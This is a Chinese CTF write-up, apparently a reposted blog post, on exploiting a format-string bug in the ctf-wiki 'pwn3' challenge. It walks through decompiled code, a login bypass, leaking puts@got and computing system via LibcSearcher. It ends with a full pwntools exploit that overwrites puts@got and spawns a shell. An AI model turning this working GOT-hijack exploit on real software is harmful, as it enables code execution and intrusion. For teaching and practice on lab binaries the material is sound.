pwn-Format String之hijack GOT

题目来源:ctf-wiki的hijack GOT。

例子 - CTF Wiki (ctf-wiki.org)

CTF上的wp有点简洁,复现的时候遇到很多小问题,在这里记录一下。

 ①、checksec和IDA

程序的主干代码:没必要一次性看完,下面我们一点一点分析
//main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax
  char s1; // [esp+14h] [ebp-2Ch]
  int v5; // [esp+3Ch] [ebp-4h]

  setbuf(stdout, 0);
  ask_username(&s1);
  ask_password(&s1);
  while ( 1 )
  {
    while ( 1 )
    {
      print_prompt();
      v3 = get_command();
      v5 = v3;
      if ( v3 != 2 )
        break;
      put_file();
    }
    if ( v3 == 3 )
    {
      show_dir();
    }
    else
    {
      if ( v3 != 1 )
        exit(1);
      get_file();
    }
  }
}

//ask_username
char *__cdecl ask_username(char *dest)
{
  char src[40]; // [esp+14h] [ebp-34h]
  int i; // [esp+3Ch] [ebp-Ch]

  puts("Connected to ftp.hacker.server");
  puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
  printf("Name (ftp.hacker.server:Rainism):");
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}

//ask_password
int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

//get_command
signed int get_command()
{
  char s1; // [esp+1Ch] [ebp-Ch]

  __isoc99_scanf("%3s", &s1);
  if ( !strncmp(&s1, "get", 3u) )
    return 1;
  if ( !strncmp(&s1, "put", 3u) )
    return 2;
  if ( !strncmp(&s1, "dir", 3u) )
    return 3;
  return 4;
}


//put_file
_DWORD *put_file()
{
  _DWORD *v0; // ST1C_4
  _DWORD *result; // eax

  v0 = malloc(0xF4u);
  printf("please enter the name of the file you want to upload:");
  get_input((int)v0, 40, 1);
  printf("then, enter the content:");
  get_input((int)(v0 + 10), 200, 1);
  v0[60] = file_head;
  result = v0;
  file_head = (int)v0;
  return result;
}


//get_file
int get_file()
{
  char dest; // [esp+1Ch] [ebp-FCh]
  char s1; // [esp+E4h] [ebp-34h]
  char *i; // [esp+10Ch] [ebp-Ch]

  printf("enter the file name you want to get:");
  __isoc99_scanf("%40s", &s1);
  if ( !strncmp(&s1, "flag", 4u) )
    puts("too young, too simple");
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &s1) )
    {
      strcpy(&dest, i + 40);
      return printf(&dest);
    }
  }
  return printf(&dest);
}


//show_dir
int show_dir()
{
  int v0; // eax
  char s[1024]; // [esp+14h] [ebp-414h]
  int i; // [esp+414h] [ebp-14h]
  int j; // [esp+418h] [ebp-10h]
  int v5; // [esp+41Ch] [ebp-Ch]

  v5 = 0;
  j = 0;
  bzero(s, 0x400u);
  for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
  {
    for ( j = 0; *(_BYTE *)(i + j); ++j )
    {
      v0 = v5++;
      s[v0] = *(_BYTE *)(i + j);
    }
  }
  return puts(s);
}

 ②:分析程序可以知道这就是一个简单的用户做出选择,程序提供服务的程序。

 先看main,先是一个账号密码验证程序。所以我们首先做的就是绕过登录

//ask_username
char *__cdecl ask_username(char *dest)
{
  __isoc99_scanf("%40s", src);
  for ( i = 0; i <= 39 && src[i]; ++i )
    ++src[i];
  return strcpy(dest, src);
}

//ask_password
int __cdecl ask_password(char *s1)
{
  if ( strcmp(s1, "sysbdmin") )
  {
    puts("who you are?");
    exit(1);
  }
  return puts("welcome!");
}

 读代码我们发现:把我们输入的账号逐字符的ASCII码+1再和sysbdmin比对就可以完成登录。于是我们写出解密的代码。

passward = 'sysbdmin'
user_name = ''
for ch in passward:
    user_name += chr(ord(ch) - 1)
# 解密出的user_name='rxraclhm'

 绕过登录之后要做的就是get_command()。就是让我们选择的操作。

//一一对应
put=put_file()
get=get_file()
dir=show_dir()

put_file就是先申请0xF4=244个空间,前四十个放name of file,然后200个放 content,最后四个字节v[60],也就是file_head,然后file_head再指向新申请的v0,实际上就是一个链表操作。 

 show_dir实际上就是在链表中找name of file,他return了puts函数

 然后是get_file函数。你要是直接输入flag的话他就会打印“too young....”,然后他就会根据你输入的name去链表中寻找对应的file。并且找到之后把内容复制到dest里面,然后return printf(&dest)。可以肯定,漏洞就在这的printf里面。

 捋清思路

  1. string format,计算偏移。
  2. 泄露puts的地址,找到libc版本,获得system的地址
  3. 修改puts@got内容为system地址

  4. 然后调用show_dir,通过return puts实际执行system函数。

 1.计算偏移:gdb调试。

打断点:打到gets的printf漏洞函数处。然后按r运行,绕过登录之后先进入puts,在进入gets 

 

 

然后重点关注栈这一块:关于计算偏移我刚开始有点懵。

首先:断点设在printf,现在esp指向printf,所以这现在就是一个printf函数的栈帧。

所以偏移就是:0x08c-0x070=28。也就是七个偏移。

所以就可以构造payload="%8$s"+p32(puts_got) 

//这里再泄露puts地址的时候用的是8个偏移,其实他的真实偏移就是7,只不过我想让他前四个字节就把puts地址打印出来,所以改成了8. 

 

然后就用recv接收泄露的puts地址,再去获取libc版本,找到system函数的地址。这个是常规操作。不再赘述。

接下来其实就是再构造payload把puts@got的内容换成system的地址。

 这用到一个新的功能函数:fmtstr_payload()

fmtstr_payload(7, {puts_got: system_addr})

这句话表示的其实就是我们的偏移是7,然后我们把puts@got的内容按字节替换成system的地址。

这还有个小注意点:我们得给show_dir()的s也附上值/bin/sh。因为puts函数里面的参数就是s,替换成system用到的就是/bin/sh,所以得给s也准备好值。

 

 最后就是直接在get_command的时候输入dir,调用show_dir()即可完成攻击。

完整的EXP:

from pwn import *
from LibcSearcher import LibcSearcher
##context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
    sh = remote('111', 111)
else:
    sh = process('./pwn3')


def get(name):
    sh.sendline('get')
    sh.recvuntil('enter the file name you want to get:')
    sh.sendline(name)
    data = sh.recv()
    return data


def put(name, content):
    sh.sendline('put')
    sh.recvuntil('please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil('then, enter the content:')
    sh.sendline(content)


def show_dir():
    sh.sendline('dir')


tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)


## password
def password():
    sh.recvuntil('Name (ftp.hacker.server:Rainism):')
    sh.sendline(name)


##password
password()
## get the addr of puts
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
put('1111', '%8$s' + p32(puts_got))
puts_addr = u32(get('1111')[:4])

## get addr of system
libc = LibcSearcher("puts", puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))

## modify puts@got, point to system_addr
payload = fmtstr_payload(7, {puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
##gdb.attach(sh)
sh.sendline('/bin/sh;')

## system('/bin/sh')
show_dir()
sh.interactive()

 

猜你喜欢

转载自blog.csdn.net/hacker_zrq/article/details/120631130